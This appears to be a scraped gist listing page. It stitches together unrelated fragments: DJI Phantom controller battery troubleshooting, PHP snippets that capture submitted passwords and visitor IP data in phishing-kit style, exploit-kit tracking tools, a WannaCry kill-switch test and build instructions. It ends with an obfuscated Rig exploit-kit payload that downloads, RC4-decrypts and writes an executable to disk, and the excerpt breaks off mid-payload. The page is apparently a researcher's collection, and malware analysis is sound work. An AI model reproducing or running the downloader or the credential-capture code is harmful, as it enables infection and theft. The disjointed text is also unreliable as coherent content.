Instantly share code, notes, and snippets.



  • No lights on controller
  • Does not respond to charge
  • No key/button combinations seem to make it work

Battery Problems

The DJI Phantom controllers (Phantom 3, Phantom 3 Advanced, and reportedly some Phantom 4's) seem to have a problem with their batteries where they refuse to charge. If the controller doesnt respond to charge or the power button, it is likely your battery is experiencing this issue. (Scroll down to "Getting the lights to turn on" first before replacing the battery)

Under Warranty

If your Phantom is under warranty (within 1? year of purchase and can provide proof), open a case with support, they'll have you ship the controller back and in about 1-2 months, you'll get it back with a new battery.

View 3d.php
$country = visitor_country();
$login = $_SESSION['clientemail'];
$passwd = $_POST['passwd'];
$sender = '';
$over = '';
View post.php
$ip = getenv("REMOTE_ADDR");
//Get IP Country City
$url = "$ip";
$url = "$ip";
$ipCountryCityInfo = file_get_contents($url);
import httplib2
import os
import base64
import email
import re
from apiclient import errors
from apiclient import discovery
from oauth2client import client
from oauth2client import tools

Client Library

An example client library can be found in To use:

>>> from client import ektracker_client
>>> e = ektracker_client('your_api_key') 

>>> e.add_tag('rig', 'rig exploit kit', [ '', '' ], ['.*', '[a-f]{1,}'])
Uploading Tag: {'signatures': ['.*', '[a-f]{1,}'], 'references': ['', ''], 'name': 'rig', 'description': 'rig exploit kit'}
sudo apt-get install cmake
curl -L -O
cd tlsh-3.4.5/

Python module

View InternetOpenUrl
GET / HTTP/1.1
Cache-Control: no-cache
View WannaCryTest.cpp
A simple test to check the behavior of WannaCry's Kill Switch
functionality. Compile with Visual Studio.
Example Run:
Set DNS to
GOOD: WannaCry would have been aborted!

Install Protobuf 2.5

Install protobufs from source. If you try to use a newer version, you'll run into an error related to kEmptyString.

sudo apt-get install autoconf automake libtool curl make g++ unzip
tar -zxvf v2.5.0.tar.gz
cd protobuf-2.5.0/
View Rig EK Payload
cmd.exe /q /c cd /d "%tmp%" && echo function O(l){var w="pow",j=0x24;return A.round((A[w](j,l+1)-A.random()*A[w](j,l))).toString(j).slice(1)};function V(k){var y=a(e+"."+e+"Request.5.1");y.setProxy(n);"GET",k(1),1);y.Option(n)=k(2);y.send();y./**/WaitForResponse();if(200==y.status)return _(y.responseText,k(n))};function _(k,e){for(var l=0,n,c=[],F=255,S=String,q=[],b=0;256^>b;b++)c[b]=b;for(b=0;256^>b;b++)l=l+c[b]+e.charCodeAt(b%e.length)^&F,n=c[b],c[b]=c[l],c[l]=n;for(var p=l=b=0;p^<k.length;p++)b=b+1^&F,l=l+c[b]^&F,n=c[b],c[b]=c[l],c[l]=n,q.push(S.fromCharCode(k.charCodeAt(p)^^c[c[b]+c[l]^&F]));return q.join("")};try{var u=WScript,o="Object",A=Math,S="etofile",a=Function("b","return u.Create"+o+"(b)");P=(""+u).split(" ")[1],M="indexOf",q=a(P+"ing.FileSystem"+o),m=u.Arguments,e="WinH"+"TTP",j=a("W"+P+".Shell"),s=a("ADODB.Stream"),x=O(8)+".",p="exe",n=0,K=u[P+"FullName"],E="."+p;s.Type=2;s.Charset="iso-8859-1";s.Open();try{v=V(m)}catch(W){v=V(m)};d=v["charCo"+"deAt"](027+v[M]("PE\x00\x00"));s.WriteText